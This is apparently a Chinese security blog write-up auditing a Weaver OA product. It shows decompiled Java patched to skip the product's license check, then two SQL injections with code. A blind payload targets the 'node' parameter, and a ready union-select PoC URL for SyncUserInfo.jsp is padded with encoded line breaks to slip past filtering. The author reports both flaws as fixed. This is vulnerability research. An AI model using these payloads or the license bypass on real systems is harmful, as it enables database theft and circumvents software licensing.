前言

以下两个SQL注入最新版本均已修复。虽然漏洞比较水,一眼就看的出但还是记录一下。源码审计,还是想搭下相应的环境对漏洞复现更能直观反映,发现其要导入相应的license证书才能正常使用。看了下证书的生成发现没有私钥绕不过(太菜了),那只能用暴力方法把源代码校验方法给改了。
主要改两个文件:
1.classbean/api/login/util/LoginUtil.classbeforeCheckUser函数修改

private String beforeCheckUser(HttpServletRequest var1, HttpServletResponse var2) {
      RecordSet var3 = new RecordSet();
      StaticObj var4 = StaticObj.getInstance();
      Calendar var5 = Calendar.getInstance();
      String var6 = Util.add0(var5.get(1), 4) + "-" + Util.add0(var5.get(2) + 1, 2) + "-" + Util.add0(var5.get(5), 2);

      try {
         String var7 = Util.null2String(var1.getParameter("loginid"));
         String var8 = Util.null2String(var1.getParameter("logintype"), "1");
         String var9 = Util.null2String(var1.getParameter("validatecode"));
         if (!this.checkLoginType(var7, var8)) {
            return "16";
         } else if (!this.checkIpSegByForbidLogin(var1, var7) && this.checkIsNeedIp(var7)) {
            return "88";
         } else {
            ChgPasswdReminder var10 = new ChgPasswdReminder();
            RemindSettings var11 = var10.getRemindSettings();
            int var12 = var11.getNeedvalidate();
            String var13 = Util.null2String((String)var1.getSession(true).getAttribute("validateRand")).trim();
            if (var13.length() == 0) {
               String var14 = Util.null2String(var1.getParameter("validateCodeKey"));
               if (var14.length() > 0) {
                  var13 = Util.null2String(Util_DataMap.getObjVal(var14));
                  Util_DataMap.clearVal(var14);
               }
            }

            int var26 = var11.getNumvalidatewrong();
            byte var15 = 0;
            boolean var16 = (new VerifyPasswdCheck()).getUserCheck(var7, "", 1);
            if (var16) {
               return "110";
            } else {
               var3.executeQuery("select isADAccount from hrmresource where loginid=?", new Object[]{var7});
               if (var3.next()) {
                  this.isADAccount = var3.getString("isADAccount");
               }

               if (var7.indexOf(";") <= -1 && var7.indexOf("--") <= -1 && var7.indexOf(" ") <= -1 && var7.indexOf("'") <= -1) {
                  String var17 = (String)var4.getObject("isLicense");
                  LN var18 = new LN();

                  try {
                     var4.putObject("isLicense", "true");
                  } catch (Exception var24) {
                     var4.putObject("isLicense", "true");
                  }

                  String var19 = Util.null2String(var18.getConcurrentFlag());
                  int var20 = Util.getIntValue(var18.getHrmnum());
                  if ("1".equals(var19)) {
                     LicenseCheckLogin var21 = new LicenseCheckLogin();
                     if (var21.getLicUserCheck(var7, var20)) {
                        this.recordFefuseLogin(var7);
                        return "26";
                     }
                  }

                  if (var8.equals("1") && var12 == 1) {
                     if (var13.trim().equals("") || "".equals(var9.trim())) {
                        return "52";
                     }

                     if (var15 >= var26 && !var13.toLowerCase().equals(var9.trim().toLowerCase())) {
                        return "52";
                     }
                  }

                  String var27 = (String)var4.getObject("software");
                  String var22 = "n";
                  String var23 = "n";
                  if (var27 == null) {
                     var3.executeQuery("select * from license", new Object[0]);
                     if (var3.next()) {
                        var27 = var3.getString("software");
                        if (var27.equals("")) {
                           var27 = "ALL";
                        }

                        var4.putObject("software", var27);
                        var22 = var3.getString("portal");
                        if (var22.equals("")) {
                           var22 = "n";
                        }

                        var4.putObject("portal", var22);
                        var23 = var3.getString("multilanguage");
                        if (var23.equals("")) {
                           var23 = "n";
                        }

                        var4.putObject("multilanguage", var23);
                     }
                  }

                  return "";
               } else {
                  return "16";
               }
            }
         }
      } catch (Exception var25) {
         return "-1";
      }
   }

2.classbean/weaver/login/LicenseCheckLogin.class的getLicUserCheck函数修改:

public boolean getLicUserCheck(String var1, int var2) {
      boolean var3 = true;
      if (!"sysadmin".equals(var1)) {
         int var4 = this.checkUserLoginCount();
         if (var4 >= var2) {
            var3 = true;
         }
      }
      return var3;
   }

修改完后重编译替换原来的文件,服务再重启下就可以绕过了。

第一处SQL注入

漏洞参数node

<%
String node=Util.null2String(request.getParameter("node"));
String arrNode[]=Util.TokenizerString2(node,"_");
String type=arrNode[0];
String value=arrNode[1];

String scope = Util.null2String(request.getParameter("scope"));
String typeids="";
String flowids="";
String nodeids="";
ArrayList typeidList=new ArrayList();
ArrayList flowidList=new ArrayList();
ArrayList nodeidList=new ArrayList();

rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='typeids' ");
if(rs.next()){
    typeids=Util.null2String(rs.getString("mc_value")); 
    typeidList=Util.TokenizerString(typeids,",");
}

rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='flowids' ");
if(rs.next()){
    flowids=Util.null2String(rs.getString("mc_value"));
    flowidList=Util.TokenizerString(flowids,",");
}

rs.executeSql("select * from mobileconfig where mc_type=5 and mc_scope="+scope+" and mc_name='nodeids' ");
if(rs.next()){
    nodeids=Util.null2String(rs.getString("mc_value")); 
    nodeidList=Util.TokenizerString(nodeids,",");
}


JSONArray jsonArrayReturn= new JSONArray();

if("root".equals(type)){ //主目录下的数据
    WorkTypeComInfo wftc=new WorkTypeComInfo();
    while(wftc.next()){ 
        JSONObject jsonTypeObj=new JSONObject();    
        String wfTypeId=wftc.getWorkTypeid();
        String wfTypeName=wftc.getWorkTypename();
        //if("1".equals(wfTypeId)) continue; 
        jsonTypeObj.put("id","wftype_"+wfTypeId);
        jsonTypeObj.put("text",wfTypeName);
        if(!typeidList.contains(wfTypeId)){
            jsonTypeObj.put("checked",false);      
        } else {
            jsonTypeObj.put("checked",true);
            jsonTypeObj.put("expanded",true);
        }
        jsonTypeObj.put("draggable",false);
        jsonTypeObj.put("leaf",false);
        jsonArrayReturn.put(jsonTypeObj);
    }
} else if ("wftype".equals(type)){
    rs.executeSql("select id,workflowname from workflow_base where isvalid='1' and workflowtype="+value);   
    while (rs.next()){

        JSONObject jsonWfObj=new JSONObject();  
        String wfId=Util.null2String(rs.getString("id"));
        String wfName=Util.null2String(rs.getString("workflowname"));
        jsonWfObj.put("id","wf_"+wfId);
        jsonWfObj.put("text",wfName);
        jsonWfObj.put("draggable",false);

        if(!flowidList.contains(wfId)){
            jsonWfObj.put("checked",false);    
        } else {
            jsonWfObj.put("checked",true);
            jsonWfObj.put("expanded",true);
        }
        jsonWfObj.put("leaf",true);
        jsonArrayReturn.put(jsonWfObj);
    }

如上代码服务端接受前端传入的问题参数node,将node_为分隔符将node分为两个部分分别赋值给typevalue两个参数,在rs.executesql()处将value值直接拼接入sql语句执行数据库操作,并将查询结果以json格式返回。

漏洞复现:

抓取数据包,构造payloadscope=1&node=wftype_5/if(ascii(substr(user(),1,1))=114,1,0)

判断数据库用户名第一个字符的ascii码,if条件为真返回1,执行5/1,返回相应数据如下所示:

判断错误,if条件为假返回0,执行5/0,0不能为除数,数据库执行错误无数据返回,如下所示:

第二处SQL注入


跟进ps.syncUserInfo(userIdentifiers);发现直接拼接进入sql语句造成sql注入:

漏洞复现进行联合注入:

poc

/mobile/plugin/SyncUserInfo.jsp?userIdentifiers=1,2%29%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion%20select%201%2C2%2C3%2C4%2Cuser()%2C6%2C7%2C8%20order%20by%208%23

点击收藏 | 1 关注 | 1
登录 后跟帖